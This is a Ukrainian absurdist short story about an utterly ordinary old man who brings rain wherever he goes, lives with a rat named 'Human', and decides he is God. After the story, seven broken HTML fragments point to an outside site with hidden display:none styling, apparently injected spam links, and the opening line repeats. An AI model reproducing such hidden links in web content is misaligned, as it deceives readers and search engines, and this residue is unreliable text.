когось часу будь-де у світі жив певний чоловік. Він був настільки звичайнісіньким, що у цій своїй характеристиці міг зрівнятись лише з пакетиком сміття, що лежить на своєму почесному місці біля володінь вуйка Юзя.
Його життя нічим не відрізнялось від ідеально придуманого - за своєю ординарністю - побутово-мелодраматичного existance клерка страхової компанії "Save your ass" північно-південної частини села Фенікс штату Провінція періоду Великої Депресії.
Напевне єдиною ЙОГО рисою було те, що щоразу коли він виносив свою ясну голову під чисте небо, починався не менш чистий <за своїми намірами намочити йому голову> дощ… Цікаво те, що це жодним чином не залежало від пори року, доби, настрою власника вищезгаданої голови чи <що справді банально> від прогнозу гідрометеоцентру.
Тепер логічним було б припущення про те, що цей "дивак" <так він себе не без гонору величав, най би хоч цим перекреслити ordinary story свого життя…> був нерозлучним із парасолею та, на жаль перехожих, це так не було. <Він казав, що коли парасоля заважатиме богові робити свою справу щодо нього, то очі його всохнуть і ніколи не зможуть побачити Його>.
Родичів пан Дощ поховав вже давненько <лиш через це дев"яностовосьмилітнього пана не ніяк не відпіскали на належний <піввіку тому> відпочинок>, проте мав вдома одного вельми людяного співбесідника. Вся людяність цього створіння вкладалася у шести літерах імені. Щура звав Людиною… Ну от, і ви дивитесь скептично на його здатність бути відповідним своєму імені! А тим не менше, коли щур плакав, господареві було сумно, і навпаки - якщо панові було гірко, тварюка обливалася неправдиво справжніми сльозами. Із цього робився досить сумнівний висновок про взаєморозуміння. Та, самі розумієте, за великим рахунком на часовій площині це відбилось не надо щедро та й взагалі, відверто кажучи кожен "мав на увазі" цю компанію десь далеко.
Задля справедливості варто мовити, що жоден уяви не мав, чому пан живе самотньо, з чого випливає прозорий висновок про глибоку ……ість паном довколишніх. Це було взаємним. І їм було добре удвох <йому і всій решті> у цих пориваннях. Із того часу, як ним було помічено власну геніальність ніхто вже не становив собою об"єкт для можливого зацікавлення.
Пан не знали скільки живе на світі бджола чи метелик, поняття не мав навіть про кілкість своїх власних літ. Одного разу - колись давно - знайшов на дорозі шмат газети, де прочитав надзвичайно важливу для себе думку, японці казали, що мудрець не повинен нічого робити, лише мислити !!! Це ж гіпергеніально… Та яке все має значення, коли він - ОСОБЛИВИЙ.
Щоразу, відчуваючи потребу в харчах, вважав, що прислуга чомусь запізнюється, щоб приготувати йому трапезу, тому зовсім виснажений після тривалого зосередження в собі, пензлював по всьо сам. / Цьому було одне неважливе пояснення: насправді він був просто надто бідний, щоб утримувати хоч би й ще одного щура…/
***
Неозброєним оком сусіди зауважували його здатність перебувати у ілюзіях, присолених побутом; проте сам пан Бог не міг заперечити його реально діючої властивості. Тому чоловік Дощ вирішив, що той напіваморфний стан невизначеності, котрий утримував його напів шлаху до сreator'а /за думками інших/ всього, треба виправити…
Він завжди діяв радикально. І виправив: став себе вважати Ним_зрештою й без того його думка нікого не цікавить, то хоч сам буде знати істину. Єдиною і основною причиною тому було те, що причин так вважати не було, а це - основна умова.
Ні, насправді він не був крейзанутий - він просто був
Шкода лише тільки одного: після своєї смерті не зміг роздивитися добре, що голова його була в руках, а не на плечах, а через те серце його висохло - певно од вітру, а очі - від недостачі серця
Після смерті жодної сльозинки не впало з жодних очей. Може це був фатальний balance.?.
назад
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
p://jL.chura.pl/rc/" style="display:none">
когось часу будь-де у світі жив певний чоловік. Він був настільки звичайнісіньким, що у цій своїй характеристиці міг зрівнятись лише з пакетиком сміття, що лежить на своєму почесному місці біля володінь вуйка Юзя.
